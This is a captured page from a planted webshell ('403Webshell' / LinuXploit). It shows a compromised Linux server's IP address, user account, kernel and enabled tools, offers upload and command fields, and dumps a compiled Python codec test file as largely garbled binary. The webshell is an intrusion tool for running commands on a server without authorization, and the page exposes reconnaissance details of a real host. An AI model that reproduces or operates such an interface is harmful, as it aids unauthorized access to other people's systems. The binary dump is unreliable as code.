403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.217.130
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/test/__pycache__/multibytecodec_support.cpython-36.pyc
3

�w2_�9�@sxddlZddlZddlZddlZddlZddlmZddlmZddl	m
Z
Gdd�d�ZGdd�dej�Z
d	d
�ZdS)�N)�
HTTPException)�support)�BytesIOc@s�eZdZdZdZdZdZdZdZdZ	dZ
dd�Zdd	�Zd
d�Z
dd
�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zd d!�Zd"d#�Zd$d%�Zd&d'�Zd(d)�ZdS)*�TestBase�N�ru�cCsX|jdkrtj|j�|_|jj|_|jj|_|jj|_|jj|_	|jj
|_
|jj|_dS)N)�codec�codecs�lookup�encoding�encode�decode�streamreader�reader�streamwriter�writer�incrementalencoder�incrementaldecoder)�self�r�@/opt/alt/python36/lib64/python3.6/test/multibytecodec_support.py�setUps





zTestBase.setUpcCs�g}xD|jD]:}|jd�}|j�}|dks.t�dd�|D�}|j|�qWxPt|�D]D\}}|j|�d}|j||jd��|jrT|j||j	|�d�qTWdS)N�
�cSsg|]}|d�qS)rr)�.0�linerrr�
<listcomp>*sz-TestBase.test_chunkcoding.<locals>.<listcomp>rzutf-8)
�tstring�split�pop�AssertionError�append�zipr
�assertEqual�
roundtriptestr)rZ
tstring_lines�b�linesZlastZnative�utf8�urrr�test_chunkcoding$s
zTestBase.test_chunkcodingc
Cs�x�|jD]�\}}}t|t�r$|j}n|j}|r�|||�d}||jkr~|jt|�tkt|��|j||d||j	|||f�q�|jt|�tkt|��|j||d||j	|||f�q|j
t|||�qWdS)Nrz%a.decode(%r, %r)=%a != %az%a.encode(%r, %r)=%a != %a)�
codectests�
isinstance�bytesr
r�
assertTrue�type�strr#r�assertRaises�UnicodeError)r�source�scheme�expected�func�resultrrr�test_errorhandle2s$



zTestBase.test_errorhandlecCs0|jr|jd�d}|j|j|d�dd�dS)Nz$encoding contains full ISO 10646 mapuଓଣୠ nd eggs�xmlcharrefreplacers&#2835;&#2851;&#2912; nd eggs)�has_iso10646�skipTestr#r)r�srrr�test_xmlcharrefreplaceIs
zTestBase.test_xmlcharrefreplacecsj|jr|jd�ddlm��fdd�}tjd|�|jrF|j\}}nd}d}|j|j|d�d|�dS)	Nz$encoding contains full ISO 10646 mapr)�codepoint2namecs|t|t�std|��g}xP|j|j|j�D]:}t|��krV|jd�t|��q.|jdt|��q.Wdj|�|jfS)Nzdon't know how to handle %rz&%s;z&#%d;r)	r+�UnicodeEncodeError�	TypeError�object�start�end�ordr!�join)�exc�l�c)r=rr�xmlcharnamereplaceYs
z>TestBase.test_customreplace_encode.<locals>.xmlcharnamereplaceztest.xmlcharnamereplaceu«ℜ» = 〈ሴ〉s*&laquo;&real;&raquo; = &lang;&#4660;&rang;)	r9r:Z
html.entitiesr=r	�register_error�xmlcharnametestr#r)rrHZsinZsoutr)r=r�test_customreplace_encodeSs

z"TestBase.test_customreplace_encodecCs>dd�}tjd|�|jd|jdd�d}|j|d�dS)NcSs
d|jfS)Ns1234)rB)rErrr�	myreplaceosz7TestBase.test_callback_returns_bytes.<locals>.myreplaceztest.cjktest�abc�defrs
abc1234def)r	rIr�unmappedunicoder#)rrL�encrrr�test_callback_returns_bytesnsz$TestBase.test_callback_returns_bytescsN�fdd�}tjd|�x0dddggdt�fD]�|jt|j|jd�q.WdS)Ncs
�|jfS)N)rB)rE)�retrrrLvsz7TestBase.test_callback_wrong_objects.<locals>.myreplaceztest.cjktestr��)r	rIr@r0r?rrO)rrLr)rRr�test_callback_wrong_objectsus
z$TestBase.test_callback_wrong_objectscCs^dd�}tjd|�|j|jd|jdd�d	�dd�}tjd|�|jt|j|jd�dS)
NcSsdt|j�fS)N�x)�intrB)rErrrrLsz4TestBase.test_callback_long_index.<locals>.myreplaceztest.cjktest�abcd�efgh�	abcdxefgh�	cSsdtjdfS)NrVr)�sys�maxsize)rErrrrL�s)rZr[)r	rIr#rrOr0�
IndexError)rrLrrr�test_callback_long_index~s
z!TestBase.test_callback_long_indexcCs,dd�}tjd|�|jt|j|jd�dS)NcSsdS)NrV)rVNr)rErrrrL�sz4TestBase.test_callback_None_index.<locals>.myreplaceztest.cjktest)r	rIr0r?rrO)rrLrrr�test_callback_None_index�sz!TestBase.test_callback_None_indexcs@�fdd��d�_tjd��|j|jd|jdd�d	�dS)
Ncs*�jdkr�jd8_dSd|jfSdS)Nrr�REPLACEDZTERMINAL)rar)�limitrB)rE)rLrrrL�s
z8TestBase.test_callback_backward_index.<locals>.myreplacerTztest.cjktestrXrY�4abcdREPLACEDabcdREPLACEDabcdREPLACEDabcdTERMINALefghr[)rcr[)rbr	rIr#rrO)rr)rLr�test_callback_backward_index�sz%TestBase.test_callback_backward_indexcCs6dd�}tjd|�|j|jd|jdd�d�dS)	NcSsd|jdfS)NrarS)rB)rErrrrL�sz7TestBase.test_callback_forward_index.<locals>.myreplaceztest.cjktestrXrY�abcdREPLACEDghr[)rer[)r	rIr#rrO)rrLrrr�test_callback_forward_index�sz$TestBase.test_callback_forward_indexcCs,dd�}tjd|�|jt|j|jd�dS)NcSsdS)N�TERM�d)rgrhr)rErrrrL�sz:TestBase.test_callback_index_outofbound.<locals>.myreplaceztest.cjktest)r	rIr0r^rrO)rrLrrr�test_callback_index_outofbound�sz'TestBase.test_callback_index_outofboundcCs�tjd�}x�dgttdd��dddddgD]v}|t|jd��}t�}|j�}x:|dk	rh|j|�}n|j�}|svP|j|�}|j	|�qTW|j
|j�|jd	�q.WdS)
Nzutf-8r�!�@��iir)r	�	getreader�list�rangerrr�readr�writer#�getvalue)r�
UTF8Reader�sizehint�istream�ostream�encoder�data�errr�test_incrementalencoder�s

z TestBase.test_incrementalencodercCs�tjd�}x�dd
gttdd��dddddgD]f}t|jd	�}|t��}|j�}x*|j|�}|shPqV|j|�}|j	|�qVW|j
|j�|jd�q0WdS)Nzutf-8rrjrkrlrmiir���)r	�	getwriterrorprrrrqr
rrr#rs)r�
UTF8Writerrurvrw�decoderryr(rrr�test_incrementaldecoder�s



z TestBase.test_incrementaldecodercCs�|j}|j�}|jt|j|d�d|_|j|j|d�d�|j�dd�}tj	d|�d|_|j|j|d�d�d|_|j|j|d�d�dS)NT�ignorercSs
d|jfS)NZcalled)rB)rErrr�tempreplace�szDTestBase.test_incrementalencoder_error_callback.<locals>.tempreplaceztest.incremental_error_callbackscalled)
rOrr0r>r�errorsr#�resetr	rI)r�invrzr�rrr�&test_incrementalencoder_error_callback�sz/TestBase.test_incrementalencoder_error_callbackcCs�tjd�}x�d
D]�}x�ddgttdd��ddd	d
dgD]t}|jt|jd��}|t��}t||�}x0||�}|svP|dkr�|j|�qh|j	|�qhW|j
|j�|jd�q:WqWdS)Nzutf-8rq�readline�	readlinesrrjrkrlrmiir)rqr�r�r|)r	r}rorprrr�getattr�
writelinesrrr#rs)rr~�namerurvrwr5ryrrr�test_streamreader�s



zTestBase.test_streamreaderc	Cs�d
}tjd�}x�|D]�}x�dgttdd��ddd	d
dgD]�}|t|jd��}|jt��}t||�}x@|dk	r|||�}n|�}|s�P|dkr�|j|�qj|j	|�qjW|j
|j�|jd�q<WqWdS)Nrqr�r�zutf-8rrjrkrlrmiir)rqr�r�)r	rnrorprrrr�r�rrr#rs)	rZ	readfuncsrtr�rurvrwr5ryrrr�test_streamwriter�s$



zTestBase.test_streamwritercCst�}|j|�}|j�dS)N)rrr�)r�streamrrrr�"test_streamwriter_reset_no_pendings
z+TestBase.test_streamwriter_reset_no_pending)�__name__�
__module__�__qualname__rrrr*r$r9rJrOrr)r7r<rKrQrUr_r`rdrfrir{r�r�r�r�r�rrrrrs4

	

rc@s\eZdZgZgZgZgZdd�Zdd�Zdd�Z	dd�Z
d	d
�Zdd�Zd
d�Z
dd�ZdS)�TestBase_MappingcCs>y|j�j�Wn(ttfk
r8|jd|j�YnXdS)NzCould not retrieve )�open_mapping_file�close�OSErrorrr:�
mapfileurl)rrrrrszTestBase_Mapping.setUpcCstj|j�S)N)rZopen_urlresourcer�)rrrrr�%sz"TestBase_Mapping.open_mapping_filecCs"|jjd�r|j�n|j�dS)Nz.xml)r��endswith�_test_mapping_file_ucm�_test_mapping_file_plain)rrrr�test_mapping_file(s
z"TestBase_Mapping.test_mapping_filec	Cs8dd�}i}|j���}�x|D�]}|s,P|jd�dj�j�}t|�dkrPq t|d�}|dkrtt|d@g�}nz|dkr�t|d	?|d
?d@|d?d@|d@g�}nH|dkr�t|d
?|d?d@|d@g�}n |d
kr t|d?|d@g�}nq ||d�}t|�dks ||k�rq |||<|j||�q WWdQRXdS)NcSsdjtttt|jd����S)Nr�+)rD�map�chr�evalr)r;rrr�<lambda>/sz;TestBase_Mapping._test_mapping_file_plain.<locals>.<lambda>�#rrS��i���irmri��)r�r�strip�lenr�r,rC�
_testpoint)	rZunichrsZurt_wa�frryZcsetval�csetch�unichrrrr�.s4z)TestBase_Mapping._test_mapping_file_plaincCsn|j��}|j�}WdQRXtjd|�}x@|D]8\}}tt|d��}tdd�|j�D��}|j||�q.WdS)Nz'<a u="([A-F0-9]{4})" b="([0-9A-F ]+)"/>r�css|]}t|d�VqdS)r�N)rW)rrGrrr�	<genexpr>Usz:TestBase_Mapping._test_mapping_file_ucm.<locals>.<genexpr>)	r�rq�re�findallr�rWr,rr�)rr�ZucmdataZucZuniZcodedr�Zcodechrrrr�Os
z'TestBase_Mapping._test_mapping_file_ucmcCsx|jD]}|j|�qWdS)N)�supmapsr�)r�mappingrrr�test_mapping_supplementalXsz*TestBase_Mapping.test_mapping_supplementalcCsH||f|jkr"|j|j|j�|�||f|jkrD|jt||j�|�dS)N)�pass_enctestr#rr�pass_dectestr/)rr�r�rrrr�\szTestBase_Mapping._testpointc
Cs�x�|jD]�\}}}t|t�r$|j}n|j}|r�t|t�r|||j|�}|jt|�tkt|��|j	||d||j|||f�q�||j|�}|jt|�tkt|��|j	||d||j|||f�q|j
t||j|�qWdS)Nz%a.decode(%r, %r)=%a != %az%a.encode(%r, %r)=%a != %a)r*r+r,r
rrr-r.r/r#r0r1)rr2r3r4r5r6rrrr7bs&



z!TestBase_Mapping.test_errorhandleN)r�r�r�r�r�r�r*rr�r�r�r�r�r�r7rrrrr�s!	r�cCsvtjjtjjt�d�}ttjj||d�d��}|j�}WdQRXttjj||d�d��}|j�}WdQRX||fS)NZcjkencodingsz.txt�rbz	-utf8.txt)�os�pathrD�dirname�__file__�openrq)r��dirr�Zencodedr'rrr�load_teststringzsr�)r	r�r�r\ZunittestZhttp.clientrZtestr�iorrZTestCaser�r�rrrr�<module>sa

Youez - 2016 - github.com/yon3zu
LinuXploit